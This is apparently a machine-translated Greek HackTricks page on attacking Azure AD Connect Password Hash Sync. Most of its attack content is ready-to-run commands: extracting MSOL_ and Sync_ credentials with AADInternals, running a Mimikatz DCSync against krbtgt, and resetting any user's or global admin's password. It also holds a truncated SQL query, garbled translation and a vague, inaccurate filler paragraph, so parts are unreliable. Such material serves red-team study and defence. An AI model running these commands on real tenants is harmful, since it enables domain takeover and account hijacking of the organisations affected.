Az - PHS - Password Hash Sync

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές πληροφορίες

Από τα έγγραφα: Ο συγχρονισμός κατακερματισμένων κωδικών πρόσβασης (PHS) είναι ένας από τους τρόπους σύνδεσης που χρησιμοποιούνται για την επίτευξη υβριδικής ταυτότητας. Το Azure AD Connect συγχρονίζει ένα κατακερματισμένο κατακερματισμένο κωδικό πρόσβασης ενός χρήστη από μια τοπική περίπτωση του Active Directory σε μια περίπτωση του Azure AD που βρίσκεται στον νέφος.

Είναι η πιο κοινή μέθοδος που χρησιμοποιείται από τις εταιρείες για τον συγχρονισμό ενός τοπικού AD με το Azure AD.

Όλοι οι χρήστες και ένας κατακερματισμένος κατακερματισμένος κωδικός πρόσβασης συγχρονίζονται από τον τοπικό στον Azure AD. Ωστόσο, οι καθαροί κείμενοι κωδικοί πρόσβασης ή οι αρχικοί κατακερματισμένοι κωδικοί δεν αποστέλλονται στο Azure AD. Επιπλέον, οι ενσωματωμένες ομάδες ασφαλείας (όπως οι διαχειριστές τομέα...) δεν συγχρονίζονται με το Azure AD.

Ο συγχρονισμός των κατακερματισμένων κωδικών πρόσβασης πραγματοποιείται κάθε 2 λεπτά. Ωστόσο, από προεπιλογή, η λήξη κωδικού πρόσβασης και η λήξη λογαριασμού δεν συγχρονίζονται στο Azure AD. Έτσι, ένας χρήστης του οποίου ο κωδικός πρόσβασης τοπικού AD έχει λήξει (χωρίς να έχει αλλάξει) μπορεί να συνεχίσει να έχει πρόσβαση σε πόρους Azure χρησιμοποιώντας τον παλιό κωδικό πρόσβασης.

Όταν ένας χρήστης του τοπικού AD θέλει να έχει πρόσβαση σε έναν πόρο Azure, η πιστοποίηση πραγματοποιείται στο Azure AD.

Το PHS απαιτείται για λειτουργίες όπως η Προστασία Ταυτότητας και οι Υπηρεσίες Τομέα AAD.

Περιστροφή

Όταν ο PHS είναι διαμορφωμένος, ορισμένοι προνομιούχοι λογαριασμοί δημιουργούνται αυτόματα:

  • Ο λογαριασμός MSOL_<installationID> δημιουργείται αυτόματα στο τοπικό AD. Αυτός ο λογαριασμός αποκτά ρόλο Λογαριασμοί Συγχρονισμού Καταλόγου (δείτε την τεκμηρίωση) που σημαίνει ότι έχει δικαιώματα αναπαραγωγής (DCSync) στο τοπικό AD.

  • Ένας λογαριασμός Sync_<όνομα του διακομιστή ADConnect του τοπικού AD>_installationID δημιουργείται στο Azure AD. Αυτός ο λογαριασμός μπορεί να επαναφέρει τον κωδικό πρόσβασης οποιουδήποτε χρήστη (συγχρονισμένου ή μόνο στο νέφος) στο Azure AD.

Οι κωδικοί πρόσβασης των δύο προηγούμενων προνομιούχων λογαριασμών αποθηκεύονται σε έναν SQL server στον διακομιστή όπου είναι εγκατεστημένο το Azure AD Connect. Οι διαχειριστές μπορούν να εξάγουν τους κωδικούς πρόσβασης αυτών των προνομιούχων χρηστών σε καθαρό κείμενο. Η βάση δεδομένων βρίσκεται στο C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Είναι δυνατή η εξαγωγή της διαμόρφωσης από έναν από τους πίνακες, ένας από τους οποίους είναι κρυπτογραφημένος:

`SELECT private_configuration_xml,

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Κατάχρηση των MSOL_*

Η κατάχρηση των MSOL_* αφορά την εκμετάλλευση των ευπαθειών που υπάρχουν στα συστήματα MSOL_* για να επιτευχθεί πρόσβαση ή εκτέλεση ανεπιθύμητων ενεργειών. Αυτό μπορεί να γίνει μέσω διάφορων τεχνικών, όπως:

  • Εκμετάλλευση ευπαθειών στο Azure AD Connect για να αποκτηθεί πρόσβαση σε λογαριασμούς χρηστών ή να εκτελεστούν ανεπιθύμητες ενέργειες.

  • Χρήση του MSOL_* για να προσπεράσει τις ασφαλείς διαδικασίες ελέγχου και να αποκτήσει πρόσβαση σε ευαίσθητες πληροφορίες.

  • Εκμετάλλευση των ευπαθειών του MSOL_* για να προκαλέσει διαρροή πληροφοριών ή να προκαλέσει ζημιά στο σύστημα.

Είναι σημαντικό να γίνεται συχνή ενημέρωση και εφαρμογή των απαραίτητων μέτρων ασφαλείας για να αποτραπεί η κατάχρηση των MSOL_*.

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Μπορείτε επίσης να χρησιμοποιήσετε το adconnectdump για να αποκτήσετε αυτές τις πιστοποιήσεις.

Κατάχρηση του Sync_*

Με την κατάχρηση του λογαριασμού Sync_* είναι δυνατόν να επαναφέρετε τον κωδικό πρόσβασης οποιουδήποτε χρήστη (συμπεριλαμβανομένων των Γενικών Διαχειριστών)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Είναι επίσης δυνατό να τροποποιήσετε τους κωδικούς πρόσβασης μόνο για χρήστες του cloud (ακόμα κι αν αυτό είναι απροσδόκητο)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Είναι επίσης δυνατό να ανακτηθεί ο κωδικός πρόσβασης αυτού του χρήστη.

Μια άλλη επιλογή θα ήταν να αναθέσετε προνομιούχες άδειες σε έναν υπηρεσιακό πρωταγωνιστή, στον οποίο ο χρήστης Sync έχει δικαιώματα, και στη συνέχεια να αποκτήσετε πρόσβαση σε αυτόν τον υπηρεσιακό πρωταγωνιστή ως τρόπος προνομιούχου ανέλιξης.

Απρόσκοπτη SSO

Είναι δυνατή η χρήση της Απρόσκοπτης SSO με το PHS, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το εδώ:

pageAz - Seamless SSO

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated